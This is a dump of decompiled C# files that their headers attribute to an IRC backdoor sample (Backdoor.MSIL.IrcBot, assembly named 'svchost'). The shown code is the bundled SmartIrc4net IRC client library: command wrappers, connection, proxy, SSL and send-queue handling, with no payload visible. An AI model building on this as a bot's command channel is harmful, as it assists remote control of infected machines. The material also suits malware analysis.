public void RfcServlist(string mask) => this.WriteLine(Rfc2812.Servlist(mask));
public void RfcServlist(string mask, string type, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask, type), priority);
public void RfcServlist(string mask, string type) => this.WriteLine(Rfc2812.Servlist(mask, type));
public void RfcSquery(string servicename, string servicetext, Priority priority) => this.WriteLine(Rfc2812.Squery(servicename, servicetext), priority);
public void RfcSquery(string servicename, string servicetext) => this.WriteLine(Rfc2812.Squery(servicename, servicetext));
public void RfcList(string channel, Priority priority) => this.WriteLine(Rfc2812.List(channel), priority);
public void RfcList(string channel) => this.WriteLine(Rfc2812.List(channel));
public void RfcList(string[] channels, Priority priority) => this.WriteLine(Rfc2812.List(channels), priority);
public void RfcList(string[] channels) => this.WriteLine(Rfc2812.List(channels));
public void RfcList(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.List(channel, target), priority);
public void RfcList(string channel, string target) => this.WriteLine(Rfc2812.List(channel, target));
public void RfcList(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.List(channels, target), priority);
public void RfcList(string[] channels, string target) => this.WriteLine(Rfc2812.List(channels, target));
public void RfcNames(string channel, Priority priority) => this.WriteLine(Rfc2812.Names(channel), priority);
public void RfcNames(string channel) => this.WriteLine(Rfc2812.Names(channel));
public void RfcNames(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Names(channels), priority);
public void RfcNames(string[] channels) => this.WriteLine(Rfc2812.Names(channels));
public void RfcNames(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channel, target), priority);
public void RfcNames(string channel, string target) => this.WriteLine(Rfc2812.Names(channel, target));
public void RfcNames(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channels, target), priority);
public void RfcNames(string[] channels, string target) => this.WriteLine(Rfc2812.Names(channels, target));
public void RfcTopic(string channel, Priority priority) => this.WriteLine(Rfc2812.Topic(channel), priority);
public void RfcTopic(string channel) => this.WriteLine(Rfc2812.Topic(channel));
public void RfcTopic(string channel, string newtopic, Priority priority) => this.WriteLine(Rfc2812.Topic(channel, newtopic), priority);
public void RfcTopic(string channel, string newtopic) => this.WriteLine(Rfc2812.Topic(channel, newtopic));
public void RfcMode(string target, Priority priority) => this.WriteLine(Rfc2812.Mode(target), priority);
public void RfcMode(string target) => this.WriteLine(Rfc2812.Mode(target));
public void RfcMode(string target, string newmode, Priority priority) => this.WriteLine(Rfc2812.Mode(target, newmode), priority);
public void RfcMode(string target, string newmode) => this.WriteLine(Rfc2812.Mode(target, newmode));
public void RfcService(string nickname, string distribution, string info, Priority priority) => this.WriteLine(Rfc2812.Service(nickname, distribution, info), priority);
public void RfcService(string nickname, string distribution, string info) => this.WriteLine(Rfc2812.Service(nickname, distribution, info));
public void RfcInvite(string nickname, string channel, Priority priority) => this.WriteLine(Rfc2812.Invite(nickname, channel), priority);
public void RfcInvite(string nickname, string channel) => this.WriteLine(Rfc2812.Invite(nickname, channel));
public void RfcNick(string newnickname, Priority priority) => this.WriteLine(Rfc2812.Nick(newnickname), priority);
public void RfcNick(string newnickname) => this.WriteLine(Rfc2812.Nick(newnickname));
public void RfcWho(Priority priority) => this.WriteLine(Rfc2812.Who(), priority);
public void RfcWho() => this.WriteLine(Rfc2812.Who());
public void RfcWho(string mask, Priority priority) => this.WriteLine(Rfc2812.Who(mask), priority);
public void RfcWho(string mask) => this.WriteLine(Rfc2812.Who(mask));
public void RfcWho(string mask, bool ircop, Priority priority) => this.WriteLine(Rfc2812.Who(mask, ircop), priority);
public void RfcWho(string mask, bool ircop) => this.WriteLine(Rfc2812.Who(mask, ircop));
public void RfcWhois(string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(mask), priority);
public void RfcWhois(string mask) => this.WriteLine(Rfc2812.Whois(mask));
public void RfcWhois(string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(masks), priority);
public void RfcWhois(string[] masks) => this.WriteLine(Rfc2812.Whois(masks));
public void RfcWhois(string target, string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(target, mask), priority);
public void RfcWhois(string target, string mask) => this.WriteLine(Rfc2812.Whois(target, mask));
public void RfcWhois(string target, string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(target, masks), priority);
public void RfcWhois(string target, string[] masks) => this.WriteLine(Rfc2812.Whois(target, masks));
public void RfcWhowas(string nickname, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname), priority);
public void RfcWhowas(string nickname) => this.WriteLine(Rfc2812.Whowas(nickname));
public void RfcWhowas(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames), priority);
public void RfcWhowas(string[] nicknames) => this.WriteLine(Rfc2812.Whowas(nicknames));
public void RfcWhowas(string nickname, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count), priority);
public void RfcWhowas(string nickname, string count) => this.WriteLine(Rfc2812.Whowas(nickname, count));
public void RfcWhowas(string[] nicknames, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count), priority);
public void RfcWhowas(string[] nicknames, string count) => this.WriteLine(Rfc2812.Whowas(nicknames, count));
public void RfcWhowas(string nickname, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count, target), priority);
public void RfcWhowas(string nickname, string count, string target) => this.WriteLine(Rfc2812.Whowas(nickname, count, target));
public void RfcWhowas(string[] nicknames, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target), priority);
public void RfcWhowas(string[] nicknames, string count, string target) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target));
public void RfcKill(string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kill(nickname, comment), priority);
public void RfcKill(string nickname, string comment) => this.WriteLine(Rfc2812.Kill(nickname, comment));
public void RfcPing(string server, Priority priority) => this.WriteLine(Rfc2812.Ping(server), priority);
public void RfcPing(string server) => this.WriteLine(Rfc2812.Ping(server));
public void RfcPing(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Ping(server, server2), priority);
public void RfcPing(string server, string server2) => this.WriteLine(Rfc2812.Ping(server, server2));
public void RfcPong(string server, Priority priority) => this.WriteLine(Rfc2812.Pong(server), priority);
public void RfcPong(string server) => this.WriteLine(Rfc2812.Pong(server));
public void RfcPong(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Pong(server, server2), priority);
public void RfcPong(string server, string server2) => this.WriteLine(Rfc2812.Pong(server, server2));
public void RfcAway(Priority priority) => this.WriteLine(Rfc2812.Away(), priority);
public void RfcAway() => this.WriteLine(Rfc2812.Away());
public void RfcAway(string awaytext, Priority priority) => this.WriteLine(Rfc2812.Away(awaytext), priority);
public void RfcAway(string awaytext) => this.WriteLine(Rfc2812.Away(awaytext));
public void RfcRehash() => this.WriteLine(Rfc2812.Rehash());
public void RfcDie() => this.WriteLine(Rfc2812.Die());
public void RfcRestart() => this.WriteLine(Rfc2812.Restart());
public void RfcSummon(string user, Priority priority) => this.WriteLine(Rfc2812.Summon(user), priority);
public void RfcSummon(string user) => this.WriteLine(Rfc2812.Summon(user));
public void RfcSummon(string user, string target, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target), priority);
public void RfcSummon(string user, string target) => this.WriteLine(Rfc2812.Summon(user, target));
public void RfcSummon(string user, string target, string channel, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target, channel), priority);
public void RfcSummon(string user, string target, string channel) => this.WriteLine(Rfc2812.Summon(user, target, channel));
public void RfcUsers(Priority priority) => this.WriteLine(Rfc2812.Users(), priority);
public void RfcUsers() => this.WriteLine(Rfc2812.Users());
public void RfcUsers(string target, Priority priority) => this.WriteLine(Rfc2812.Users(target), priority);
public void RfcUsers(string target) => this.WriteLine(Rfc2812.Users(target));
public void RfcWallops(string wallopstext, Priority priority) => this.WriteLine(Rfc2812.Wallops(wallopstext), priority);
public void RfcWallops(string wallopstext) => this.WriteLine(Rfc2812.Wallops(wallopstext));
public void RfcUserhost(string nickname, Priority priority) => this.WriteLine(Rfc2812.Userhost(nickname), priority);
public void RfcUserhost(string nickname) => this.WriteLine(Rfc2812.Userhost(nickname));
public void RfcUserhost(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Userhost(nicknames), priority);
public void RfcUserhost(string[] nicknames) => this.WriteLine(Rfc2812.Userhost(nicknames));
public void RfcIson(string nickname, Priority priority) => this.WriteLine(Rfc2812.Ison(nickname), priority);
public void RfcIson(string nickname) => this.WriteLine(Rfc2812.Ison(nickname));
public void RfcIson(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Ison(nicknames), priority);
public void RfcIson(string[] nicknames) => this.WriteLine(Rfc2812.Ison(nicknames));
public void RfcQuit(Priority priority) => this.WriteLine(Rfc2812.Quit(), priority);
public void RfcQuit() => this.WriteLine(Rfc2812.Quit());
public void RfcQuit(string quitmessage, Priority priority) => this.WriteLine(Rfc2812.Quit(quitmessage), priority);
public void RfcQuit(string quitmessage) => this.WriteLine(Rfc2812.Quit(quitmessage));
public void RfcSquit(string server, string comment, Priority priority) => this.WriteLine(Rfc2812.Squit(server, comment), priority);
public void RfcSquit(string server, string comment) => this.WriteLine(Rfc2812.Squit(server, comment));
}
}

View File

@ -0,0 +1,834 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcConnection
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using Starksoft.Net.Proxy;
using System;
using System.Collections;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Meebey.SmartIrc4net
{
public class IrcConnection
{
private string _VersionNumber;
private string _VersionString;
private string[] _AddressList = new string[1]
{
"localhost"
};
private int _CurrentAddress;
private int _Port;
private bool _UseSsl;
private bool _ValidateServerCertificate;
private X509Certificate _SslClientCertificate;
private StreamReader _Reader;
private StreamWriter _Writer;
private IrcConnection.ReadThread _ReadThread;
private IrcConnection.WriteThread _WriteThread;
private IrcConnection.IdleWorkerThread _IdleWorkerThread;
private TcpClient _TcpClient;
private Hashtable _SendBuffer = Hashtable.Synchronized(new Hashtable());
private int _SendDelay = 200;
private bool _IsRegistered;
private bool _IsConnected;
private bool _IsConnectionError;
private bool _IsDisconnecting;
private int _AutoRetryAttempt;
private bool _AutoRetry;
private int _AutoRetryDelay = 30;
private int _AutoRetryLimit = 3;
private bool _AutoReconnect;
private Encoding _Encoding = Encoding.Default;
private int _SocketReceiveTimeout = 600;
private int _SocketSendTimeout = 600;
private int _IdleWorkerInterval = 60;
private int _PingInterval = 60;
private int _PingTimeout = 300;
private DateTime _LastPingSent;
private DateTime _LastPongReceived;
private TimeSpan _Lag;
private string _ProxyHost;
private int _ProxyPort;
private ProxyType _ProxyType;
private string _ProxyUsername;
private string _ProxyPassword;
public event ReadLineEventHandler OnReadLine;
public event WriteLineEventHandler OnWriteLine;
public event EventHandler OnConnecting;
public event EventHandler OnConnected;
public event EventHandler OnDisconnecting;
public event EventHandler OnDisconnected;
public event EventHandler OnConnectionError;
public event AutoConnectErrorEventHandler OnAutoConnectError;
protected bool IsConnectionError
{
get
{
lock (this)
return this._IsConnectionError;
}
set
{
lock (this)
this._IsConnectionError = value;
}
}
protected bool IsDisconnecting
{
get
{
lock (this)
return this._IsDisconnecting;
}
set
{
lock (this)
this._IsDisconnecting = value;
}
}
public string Address => this._AddressList[this._CurrentAddress];
public string[] AddressList => this._AddressList;
public int Port => this._Port;
public bool AutoReconnect
{
get => this._AutoReconnect;
set => this._AutoReconnect = value;
}
public bool AutoRetry
{
get => this._AutoRetry;
set => this._AutoRetry = value;
}
public int AutoRetryDelay
{
get => this._AutoRetryDelay;
set => this._AutoRetryDelay = value;
}
public int AutoRetryLimit
{
get => this._AutoRetryLimit;
set => this._AutoRetryLimit = value;
}
public int AutoRetryAttempt => this._AutoRetryAttempt;
public int SendDelay
{
get => this._SendDelay;
set => this._SendDelay = value;
}
public bool IsRegistered => this._IsRegistered;
public bool IsConnected => this._IsConnected;
public string VersionNumber => this._VersionNumber;
public string VersionString => this._VersionString;
public Encoding Encoding
{
get => this._Encoding;
set => this._Encoding = value;
}
public bool UseSsl
{
get => this._UseSsl;
set => this._UseSsl = value;
}
public bool ValidateServerCertificate
{
get => this._ValidateServerCertificate;
set => this._ValidateServerCertificate = value;
}
public X509Certificate SslClientCertificate
{
get => this._SslClientCertificate;
set => this._SslClientCertificate = value;
}
public int SocketReceiveTimeout
{
get => this._SocketReceiveTimeout;
set => this._SocketReceiveTimeout = value;
}
public int SocketSendTimeout
{
get => this._SocketSendTimeout;
set => this._SocketSendTimeout = value;
}
public int IdleWorkerInterval
{
get => this._IdleWorkerInterval;
set => this._IdleWorkerInterval = value;
}
public int PingInterval
{
get => this._PingInterval;
set => this._PingInterval = value;
}
public int PingTimeout
{
get => this._PingTimeout;
set => this._PingTimeout = value;
}
public TimeSpan Lag => this._LastPingSent > this._LastPongReceived ? DateTime.Now - this._LastPingSent : this._Lag;
public string ProxyHost
{
get => this._ProxyHost;
set => this._ProxyHost = value;
}
public int ProxyPort
{
get => this._ProxyPort;
set => this._ProxyPort = value;
}
public ProxyType ProxyType
{
get => this._ProxyType;
set => this._ProxyType = value;
}
public string ProxyUsername
{
get => this._ProxyUsername;
set => this._ProxyUsername = value;
}
public string ProxyPassword
{
get => this._ProxyPassword;
set => this._ProxyPassword = value;
}
public IrcConnection()
{
this._SendBuffer[(object) Priority.High] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
this._SendBuffer[(object) Priority.AboveMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
this._SendBuffer[(object) Priority.Medium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
this._SendBuffer[(object) Priority.BelowMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
this._SendBuffer[(object) Priority.Low] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
this.OnReadLine += new ReadLineEventHandler(this._SimpleParser);
this.OnConnectionError += new EventHandler(this._OnConnectionError);
this._ReadThread = new IrcConnection.ReadThread(this);
this._WriteThread = new IrcConnection.WriteThread(this);
this._IdleWorkerThread = new IrcConnection.IdleWorkerThread(this);
Assembly assembly = Assembly.GetAssembly(this.GetType());
AssemblyName name = assembly.GetName(false);
AssemblyProductAttribute customAttribute = (AssemblyProductAttribute) assembly.GetCustomAttributes(typeof (AssemblyProductAttribute), false)[0];
this._VersionNumber = name.Version.ToString();
this._VersionString = customAttribute.Product + " " + this._VersionNumber;
}
public void Connect(string[] addresslist, int port)
{
if (this._IsConnected)
throw new AlreadyConnectedException("Already connected to: " + this.Address + ":" + (object) this.Port);
++this._AutoRetryAttempt;
this._AddressList = (string[]) addresslist.Clone();
this._Port = port;
if (this.OnConnecting != null)
this.OnConnecting((object) this, EventArgs.Empty);
try
{
IPAddress address = Dns.Resolve(this.Address).AddressList[0];
this._TcpClient = new TcpClient();
this._TcpClient.NoDelay = true;
this._TcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, 1);
this._TcpClient.ReceiveTimeout = this._SocketReceiveTimeout * 1000;
this._TcpClient.SendTimeout = this._SocketSendTimeout * 1000;
if (this._ProxyType != ProxyType.None)
{
ProxyClientFactory proxyClientFactory = new ProxyClientFactory();
Starksoft.Net.Proxy.ProxyType type = (Starksoft.Net.Proxy.ProxyType) System.Enum.Parse(typeof (ProxyType), this._ProxyType.ToString(), true);
IProxyClient proxyClient = this._ProxyUsername != null || this._ProxyPassword != null ? proxyClientFactory.CreateProxyClient(type, this._ProxyHost, this._ProxyPort, this._ProxyUsername, this._ProxyPassword) : proxyClientFactory.CreateProxyClient(type);
this._TcpClient.Connect(this._ProxyHost, this._ProxyPort);
proxyClient.TcpClient = this._TcpClient;
proxyClient.CreateConnection(address.ToString(), port);
}
else
this._TcpClient.Connect(address, port);
Stream stream = (Stream) this._TcpClient.GetStream();
if (this._UseSsl)
{
RemoteCertificateValidationCallback userCertificateValidationCallback = !this._ValidateServerCertificate ? (RemoteCertificateValidationCallback) delegate
{
return true;
} : (RemoteCertificateValidationCallback) ((sender, certificate, chain, sslPolicyErrors) => sslPolicyErrors == SslPolicyErrors.None);
SslStream sslStream = new SslStream(stream, false, userCertificateValidationCallback);
try
{
if (this._SslClientCertificate != null)
{
X509Certificate2Collection clientCertificates = new X509Certificate2Collection();
clientCertificates.Add(this._SslClientCertificate);
sslStream.AuthenticateAsClient(this.Address, (X509CertificateCollection) clientCertificates, SslProtocols.Default, false);
}
else
sslStream.AuthenticateAsClient(this.Address);
}
catch (IOException ex)
{
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
}
stream = (Stream) sslStream;
}
this._Reader = new StreamReader(stream, this._Encoding);
this._Writer = new StreamWriter(stream, this._Encoding);
if (this._Encoding.GetPreamble().Length > 0)
{
this._Writer.WriteLine();
this._Writer.Flush();
}
this._AutoRetryAttempt = 0;
this.IsConnectionError = false;
this._IsConnected = true;
this._ReadThread.Start();
this._WriteThread.Start();
this._IdleWorkerThread.Start();
if (this.OnConnected == null)
return;
this.OnConnected((object) this, EventArgs.Empty);
}
catch (AuthenticationException ex)
{
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
}
catch (Exception ex1)
{
if (this._Reader != null)
{
try
{
this._Reader.Close();
}
catch (ObjectDisposedException ex2)
{
}
}
if (this._Writer != null)
{
try
{
this._Writer.Close();
}
catch (ObjectDisposedException ex3)
{
}
}
if (this._TcpClient != null)
this._TcpClient.Close();
this._IsConnected = false;
this.IsConnectionError = true;
if (ex1 is CouldNotConnectException)
throw;
else if (this._AutoRetry && (this._AutoRetryLimit == -1 || this._AutoRetryLimit == 0 || this._AutoRetryLimit <= this._AutoRetryAttempt))
{
if (this.OnAutoConnectError != null)
this.OnAutoConnectError((object) this, new AutoConnectErrorEventArgs(this.Address, this.Port, ex1));
Thread.Sleep(this._AutoRetryDelay * 1000);
this._NextAddress();
this.Connect(this._AddressList, this._Port);
}
else
throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex1.Message, ex1);
}
}
public void Connect(string address, int port) => this.Connect(new string[1]
{
address
}, port);
public void Reconnect()
{
this.Disconnect();
this.Connect(this._AddressList, this._Port);
}
public void Disconnect()
{
if (!this.IsConnected)
throw new NotConnectedException("The connection could not be disconnected because there is no active connection");
if (this.OnDisconnecting != null)
this.OnDisconnecting((object) this, EventArgs.Empty);
this.IsDisconnecting = true;
this._ReadThread.Stop();
this._WriteThread.Stop();
this._TcpClient.Close();
this._IsConnected = false;
this._IsRegistered = false;
this.IsDisconnecting = false;
if (this.OnDisconnected == null)
return;
this.OnDisconnected((object) this, EventArgs.Empty);
}
public void Listen(bool blocking)
{
if (blocking)
{
while (this.IsConnected)
this.ReadLine(true);
}
else
{
do
;
while (this.ReadLine(false).Length > 0);
}
}
public void Listen() => this.Listen(true);
public void ListenOnce(bool blocking) => this.ReadLine(blocking);
public void ListenOnce() => this.ListenOnce(true);
public string ReadLine(bool blocking)
{
string line = "";
if (blocking)
{
while (this.IsConnected && !this.IsConnectionError && this._ReadThread.Queue.Count == 0)
Thread.Sleep(10);
}
if (this.IsConnected && this._ReadThread.Queue.Count > 0)
line = (string) this._ReadThread.Queue.Dequeue();
if (line != null && line.Length > 0 && this.OnReadLine != null)
this.OnReadLine((object) this, new ReadLineEventArgs(line));
if (this.IsConnectionError && !this.IsDisconnecting && this.OnConnectionError != null)
this.OnConnectionError((object) this, EventArgs.Empty);
return line;
}
public void WriteLine(string data, Priority priority)
{
try
{
if (priority == Priority.Critical)
{
if (!this.IsConnected)
throw new NotConnectedException();
this._WriteLine(data);
}
else
((System.Collections.Queue) this._SendBuffer[(object) priority]).Enqueue((object) data);
}
catch
{
}
}
public void WriteLine(string data) => this.WriteLine(data, Priority.Medium);
private bool _WriteLine(string data)
{
if (!this.IsConnected)
return false;
try
{
this._Writer.Write(data + "\r\n");
this._Writer.Flush();
}
catch (IOException ex)
{
this.IsConnectionError = true;
return false;
}
catch (ObjectDisposedException ex)
{
this.IsConnectionError = true;
return false;
}
if (this.OnWriteLine != null)
this.OnWriteLine((object) this, new WriteLineEventArgs(data));
return true;
}
private void _NextAddress()
{
++this._CurrentAddress;
if (this._CurrentAddress < this._AddressList.Length)
return;
this._CurrentAddress = 0;
}
private void _SimpleParser(object sender, ReadLineEventArgs args)
{
string line = args.Line;
string[] strArray = line.Split(' ');
if (line[0] == ':')
{
string s = strArray[1];
ReplyCode replyCode = ReplyCode.Null;
try
{
replyCode = (ReplyCode) int.Parse(s);
}
catch (FormatException ex)
{
}
switch (replyCode)
{
case ReplyCode.Null:
switch (strArray[1])
{
case "PONG":
DateTime now = DateTime.Now;
this._LastPongReceived = now;
this._Lag = now - this._LastPingSent;
return;
case null:
return;
default:
return;
}
case ReplyCode.Welcome:
this._IsRegistered = true;
break;
}
}
else
{
string str;
if ((str = strArray[0]) == null)
return;
int num = str == "ERROR" ? 1 : 0;
}
}
private void _OnConnectionError(object sender, EventArgs e)
{
try
{
if (this.AutoReconnect)
this.Reconnect();
else
this.Disconnect();
}
catch (ConnectionException ex)
{
}
}
private class ReadThread
{
private IrcConnection _Connection;
private Thread _Thread;
private System.Collections.Queue _Queue = System.Collections.Queue.Synchronized(new System.Collections.Queue());
public System.Collections.Queue Queue => this._Queue;
public ReadThread(IrcConnection connection) => this._Connection = connection;
public void Start()
{
this._Thread = new Thread(new ThreadStart(this._Worker));
this._Thread.Name = "ReadThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
this._Thread.IsBackground = true;
this._Thread.Start();
}
public void Stop()
{
this._Thread.Abort();
this._Thread.Join();
try
{
this._Connection._Reader.Close();
}
catch (ObjectDisposedException ex)
{
}
}
private void _Worker()
{
try
{
try
{
string str;
while (this._Connection.IsConnected && (str = this._Connection._Reader.ReadLine()) != null)
this._Queue.Enqueue((object) str);
}
catch (IOException ex)
{
}
finally
{
if (!this._Connection.IsDisconnecting)
this._Connection.IsConnectionError = true;
}
}
catch (ThreadAbortException ex)
{
Thread.ResetAbort();
}
catch (Exception ex)
{
}
}
}
private class WriteThread
{
private IrcConnection _Connection;
private Thread _Thread;
private int _HighCount;
private int _AboveMediumCount;
private int _MediumCount;
private int _BelowMediumCount;
private int _LowCount;
private int _AboveMediumSentCount;
private int _MediumSentCount;
private int _BelowMediumSentCount;
private int _AboveMediumThresholdCount = 4;
private int _MediumThresholdCount = 2;
private int _BelowMediumThresholdCount = 1;
private int _BurstCount;
public WriteThread(IrcConnection connection) => this._Connection = connection;
public void Start()
{
this._Thread = new Thread(new ThreadStart(this._Worker));
this._Thread.Name = "WriteThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
this._Thread.IsBackground = true;
this._Thread.Start();
}
public void Stop()
{
this._Thread.Abort();
this._Thread.Join();
try
{
this._Connection._Writer.Close();
}
catch (ObjectDisposedException ex)
{
}
}
private void _Worker()
{
try
{
try
{
while (this._Connection.IsConnected)
{
this._CheckBuffer();
Thread.Sleep(this._Connection._SendDelay);
}
}
catch (IOException ex)
{
}
finally
{
if (!this._Connection.IsDisconnecting)
this._Connection.IsConnectionError = true;
}
}
catch (ThreadAbortException ex)
{
Thread.ResetAbort();
}
catch (Exception ex)
{
}
}
private void _CheckBuffer()
{
if (!this._Connection._IsRegistered)
return;
this._HighCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Count;
this._AboveMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Count;
this._MediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Count;
this._BelowMediumCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Count;
this._LowCount = ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Count;
if (this._CheckHighBuffer() && this._CheckAboveMediumBuffer() && this._CheckMediumBuffer() && this._CheckBelowMediumBuffer() && this._CheckLowBuffer())
{
this._AboveMediumSentCount = 0;
this._MediumSentCount = 0;
this._BelowMediumSentCount = 0;
this._BurstCount = 0;
}
if (this._BurstCount >= 3)
return;
++this._BurstCount;
}
private bool _CheckHighBuffer()
{
if (this._HighCount > 0)
{
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Dequeue();
if (!this._Connection._WriteLine(data))
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.High]).Enqueue((object) data);
if (this._HighCount > 1)
return false;
}
return true;
}
private bool _CheckAboveMediumBuffer()
{
if (this._AboveMediumCount > 0 && this._AboveMediumSentCount < this._AboveMediumThresholdCount)
{
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Dequeue();
if (!this._Connection._WriteLine(data))
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.AboveMedium]).Enqueue((object) data);
++this._AboveMediumSentCount;
if (this._AboveMediumSentCount < this._AboveMediumThresholdCount)
return false;
}
return true;
}
private bool _CheckMediumBuffer()
{
if (this._MediumCount > 0 && this._MediumSentCount < this._MediumThresholdCount)
{
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Dequeue();
if (!this._Connection._WriteLine(data))
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Medium]).Enqueue((object) data);
++this._MediumSentCount;
if (this._MediumSentCount < this._MediumThresholdCount)
return false;
}
return true;
}
private bool _CheckBelowMediumBuffer()
{
if (this._BelowMediumCount > 0 && this._BelowMediumSentCount < this._BelowMediumThresholdCount)
{
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Dequeue();
if (!this._Connection._WriteLine(data))
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.BelowMedium]).Enqueue((object) data);
++this._BelowMediumSentCount;
if (this._BelowMediumSentCount < this._BelowMediumThresholdCount)
return false;
}
return true;
}
private bool _CheckLowBuffer()
{
if (this._LowCount > 0 && this._HighCount <= 0 && this._AboveMediumCount <= 0 && this._MediumCount <= 0 && this._BelowMediumCount <= 0)
{
string data = (string) ((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Dequeue();
if (!this._Connection._WriteLine(data))
((System.Collections.Queue) this._Connection._SendBuffer[(object) Priority.Low]).Enqueue((object) data);
if (this._LowCount > 1)
return false;
}
return true;
}
}
private class IdleWorkerThread
{
private IrcConnection _Connection;
private Thread _Thread;
public IdleWorkerThread(IrcConnection connection) => this._Connection = connection;
public void Start()
{
DateTime now = DateTime.Now;
this._Connection._LastPingSent = now;
this._Connection._LastPongReceived = now;
this._Thread = new Thread(new ThreadStart(this._Worker));
this._Thread.Name = "IdleWorkerThread (" + this._Connection.Address + ":" + (object) this._Connection.Port + ")";
this._Thread.IsBackground = true;
this._Thread.Start();
}
public void Stop() => this._Thread.Abort();
private void _Worker()
{
try
{
while (this._Connection.IsConnected)
{
Thread.Sleep(this._Connection._IdleWorkerInterval);
if (this._Connection.IsRegistered)
{
DateTime now = DateTime.Now;
int totalSeconds1 = (int) (now - this._Connection._LastPingSent).TotalSeconds;
int totalSeconds2 = (int) (now - this._Connection._LastPongReceived).TotalSeconds;
if (totalSeconds1 < this._Connection._PingTimeout)
{
if (!(this._Connection._LastPingSent > this._Connection._LastPongReceived) && totalSeconds2 > this._Connection._PingInterval)
{
this._Connection.WriteLine(Rfc2812.Ping(this._Connection.Address), Priority.Critical);
this._Connection._LastPingSent = now;
}
}
else
{
if (this._Connection.IsDisconnecting)
break;
this._Connection.IsConnectionError = true;
break;
}
}
}
}
catch (ThreadAbortException ex)
{
Thread.ResetAbort();
}
catch (Exception ex)
{
}
}
}
}
}

View File

@ -0,0 +1,19 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcConstants
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
namespace Meebey.SmartIrc4net
{
public class IrcConstants
{
public const char CtcpChar = '\u0001';
public const char IrcBold = '\u0002';
public const char IrcColor = '\u0003';
public const char IrcReverse = '\u0016';
public const char IrcNormal = '\u000F';
public const char IrcUnderline = '\u001F';
public const char CtcpQuoteChar = ' ';
}
}

View File

@ -0,0 +1,19 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcEventArgs
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
using System;
namespace Meebey.SmartIrc4net
{
public class IrcEventArgs : EventArgs
{
private readonly IrcMessageData _Data;
public IrcMessageData Data => this._Data;
internal IrcEventArgs(IrcMessageData data) => this._Data = data;
}
}

View File

@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.IrcEventHandler
